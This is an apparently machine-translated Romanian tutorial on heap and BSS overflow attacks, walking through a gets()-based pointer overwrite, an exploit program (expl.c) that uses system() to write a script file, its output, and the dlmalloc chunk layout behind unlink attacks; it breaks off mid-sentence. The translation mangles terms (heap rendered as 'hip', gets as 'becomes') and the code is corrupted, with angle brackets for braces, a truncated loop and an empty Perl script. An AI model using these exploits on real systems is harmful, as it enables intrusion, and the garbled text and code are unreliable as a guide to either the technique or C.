Actiunile de overflow pe baza de heap

Actiunile de overflow pe baza de heap


În primul rând, atacurile bazate pe suprapunerile șoldului (heap - heap) sunt un ordin de mărime mai complex
înțelegerea și punerea în aplicare decât atacurile bazate pe depășirea stivei (depășirea tamponului).
Documentația privind acest tip de atac este mică, dar, în ciuda acestor factori, atacurile asupra depășirii
șold câștiga o întorsătură largă, nu merge departe, ultimele două exploatații de profil înalt: Apache chunked
codificarea exploatării și exploatarea OpenSSH. În plus, există multe varietăți ale acestui atac
(în funcție de secțiunea reinscriptibilă, funcția și elementul de suprasarcină). Pentru a înțelege principiul
Trebuie să cunoașteți atacurile: C, asamblare și atacuri de suprapunere.

Câteva despre secțiunile:

halda - zona de memorie dinamică alocată în stadiul de execuție a programului.
exemplu:
char * ceva = malloc (90); // ceva ce indică datele din șold.

datele - regiunea datelor inițializate, este alocată în etapa de compilare a programului.
exemplu:
char * ceva = "date resturi";
static char ceva2 = "brooklyn zoo";

bss - domeniul datelor neinitializate, este alocat în etapa de execuție.
exemplu:
static int someshit;
static char shit;

Atacurile asupra excesului de șold sunt strâns legate de memorie, deci nu interfera
repetați valorile anumitor funcții care funcționează cu memoria.

void * malloc (size_t size) - alocă memoria pentru obiectul a cărui mărime este argumentată de dimensiunea variabilă
void * calloc (size_t nmemb, dimensiune size_t) - alocă memoria pentru o matrice (nmemb), fiecare element al cărei dimensiune are dimensiunea.
void * realloc (void * ptr, dimensiunea size_t) - modifică dimensiunea obiectului indicat de PTR, dimensiunea dimensiunea și returnează un pointer la (eventual) sa mutat obiect.
void free (void * ptr) - eliberează memoria alocată funcțiilor malloc (), calloc (), realloc (), indicată de ptr

void * memset (void * buf, int caracter, size_t len) - scrie numai octeți ai caracterului variabil (char unsigned) în buf.
void * memcpy (void * dst, const void * src, size_t len) - copiază doar octeții de la variabila src la dst.
void * mmap (void * adr, size_t len ​​int proteja, steaguri int fd, off_t offset.) - afișează memoria fișier sau dispozitiv.

toate descrierile funcțiilor pe care le-am dat pot părea puțin abstractă, deci este obligatorie
citiți mana!

Suprascrie pointerul: un atacator poate suprascrie diverse date folosind un buffer de buffer
situate în șold. Luați în considerare situația standard, programul scrie intrarea
datele utilizatorului într-un fișier. Funcția get () este utilizată, astfel încât să putem rescrie indicatorul
fișier.

int
principală (int argc, char ** argv)
<
FILE * în;
static char buf [16], * inf; // în secțiunea bss

inf = "date"; // pointer care va fi suprascris
printf ("introduce sumthin": \ n ");
devine (buf);
printf ("După ce devine (): inf =% s", inf); // pentru comoditate vom afișa indexul inf
in = fopen (inf, "w"); // deschideți fișierul pentru scriere
fluxuri (buf, in); // scrieți datele
fclose (in);
>

$ cc -o vul vul.c
$ gdb vul
.
(gdb) r blabla
Programul de pornire: / home / damnass / vul
introduceți sumthin ':
AAAAAAAAAAAAAAAAAAAAAAA

Program receptionat semnal SIGSEGV, eroare de segmentare.
0x40086842 în vfprintf ()

Deci, ce se întâmplă aici:
Excesul de tampon clasic are loc în funcția get (), după cum puteți vedea că funcția este accesată în mod explicit
nu în 0x41414141, cu-but eip nu corespunde. De ce se întâmplă acest lucru. Deoarece tamponul se află în segmentul BSS.

Luați în considerare ce se întâmplă când se execută următoarele comenzi:

$ echo "dumbshit" ./vul

În acest cod, argumentele (argv) nu sunt doar incluse. Chiar dacă
programul nu conținea un argument, argv [1] ar fi afișat încă în memorie
proces. Deoarece nu cunoaștem transferul de la argv [1] la esp, va trebui să trecem prin el.
Pentru a exploata, trebuie să formăm următoarea linie:

$ echo $ BUF | ./vulprog1 nerfed.sh

$ BUF - tampon pe care îl vom umple.
Exploat și bruteforce la el:

// expl.c:
// vul.c exploit
// intrați în orice fișier (nerfed.sh în cazul nostru)


#include
#include
#define VBUF 16 // dimensiune buf în vul.c

int
principală (int argc, char ** argv)

adresa u_long;
int i, stringsize;
char * string;
char buf [VBUF + 14];

memset (buf, 0, sizeof (buf));
strcpy (buf, "echo n3rf3d! #"); // copiați octeții care se vor afla în fișier (# - pentru a comenta stânga pentru depășire)
memset (buf + strlen (buf), 0x31, VBUF); // umpleți tamponul cu octeți care va depăși tamponul

adresa = get_sp () + atoi (argv [1]);

// acest ciclu este necesar, pentru sistemele puțin endian (majoritar) - numărul de prelucrare
pentru (i = 0; i buf [VBUF + i] = ((u_long) adresa >> (i * 8) 255);

stringsize = strlen (buf) + strlen ("./ vul") + strlen ("nerfed.sh") + 13; // șir de dimensiune formular
șir = (char *) malloc (stringsize); // creați un șir din matrice dinamică
memset (șir, 0, sizeof (stringsize));
snprintf (string, stringsize - 1, "echo '% s' |% s% s \ n", buf, "./ vul", "nerfed.sh"); // completați totul în șir
printf ("addr:% p \ n", adresa);
sistem (șir); // sa executam. )
retur 0;
>

$ a face expl
cc-O2 -o expl expl.c

$ cat> bf.pl
#! / usr / bin / perl

$ ls -l nerfed.sh
-rw-r-r-- 1 rădăcină tim 30 Sep 18 21:07 nerfed.sh

rezultă stringuri $ grep nerfed.sh
După ce devine (): inf = nerfed.sh, addr: 0xcfbfdb6e

$ cat nerfed.sh
echo n3rf3d! # 11nwo1111111111

$ sh nerfed.sh
n3rf3d!
$ exit

Un pic despre dlmalloc.
Șoldul este împărțit (în conformitate cu Doug Lea's Malloc) în bucăți de memorie (bucăți de memorie). După câteva cuvinte,
bucata este o piesă de memorie care este alocată / eliberată din memorie atunci când apelează funcții din familia malloc.
Dar, aici trebuie remarcat faptul că bucata nu este niciodată egală cu dimensiunea cerută
utilizator în funcție. Dimensiunea variază în termen de +8 bytes.
Această structură determină fragmentul:

struct malloc_chunk <
size_t prev_size; // se utilizează numai dacă bucata precedentă este gratuită
size_t size; // mărimea bucății în octeți + 2 biți de stare
struct malloc_chunk * fd; // folosită numai pentru bucăți libere: indicatorul pentru următoarea bucată
struct malloc_chunk * bk; // folosită numai pentru bucăți libere: un indicator pentru piesa anterioară
>;

Vă sfătuiesc să citiți /usr/share/doc/papers/malloc.ascii.gz.
Un pic de practică, iată un exemplu de program vulnerabil:

// cod vulnerabil, găsit în web sălbatic
// de Pierre-Alain FAYOLLE, Vincent GLAUME

int main ()
<
char * buf;
char * bufone = (char *) malloc (666); // aloca memorie (666 octeți) pentru matricea bufone
char * buftwo = (char *) malloc (2); // același pentru buftwo, doar 2 octeți
printf ("intrare: \ n");
devine (buf); // introduceți utilizatorul în buf
strcpy (bufone, buf); // copy buf -> bufone
gratuit (bufonă); // memorie gratuită de la bufone
gratuit (buftwo); // memorie liberă de la buftwo
retur (1);
>

Să aruncăm o privire asupra șirului cu strcpy (): aici este posibil să se depășească matricea bufone cu buf (care este, de asemenea, la rândul său
este plin, deoarece funcția devine ()). În orice caz, vom rescrie etichetele
bucata, aceasta este prev_size, dimensiune, malloc_chunk * fd, malloc_chunk * bk. Când apelați gratuit () pentru
prima bucată va fi luată în considerare și următoarea (a doua) bucată - indiferent dacă este utilizată sau nu,
funcția unlink () o va elibera de pe foaie și o va întări cu bucata liberă.


Este necesar să creați o bucată stângă cu informațiile necesare. Acesta este un proces lung, pe care nu îl cunosc
Voi descrie, se referă la hârtia MaXX'a: vudo-howto.txt.

Luați notă de această placă: